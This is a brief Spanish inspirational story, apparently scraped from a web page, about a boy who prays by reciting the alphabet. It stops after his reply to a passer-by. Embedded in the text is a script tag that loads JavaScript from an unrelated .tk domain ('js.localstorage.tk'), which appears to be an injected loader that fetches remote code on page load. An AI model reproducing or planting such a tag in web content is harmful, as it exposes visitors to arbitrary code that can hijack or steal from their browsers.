Nunca antes había orado, así que se arrodilló y comenzó a recitar el alfabeto: a, b, c, d, hasta llegar a la zeta. Repitió varias veces esta oración. Un hombre que pasaba escuchó la voz del niño y se detuvo a escuchar. Lo interrumpió con una pregunta: ¿Qué haces amiguito? El niño respondió: estoy orando señor. <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#30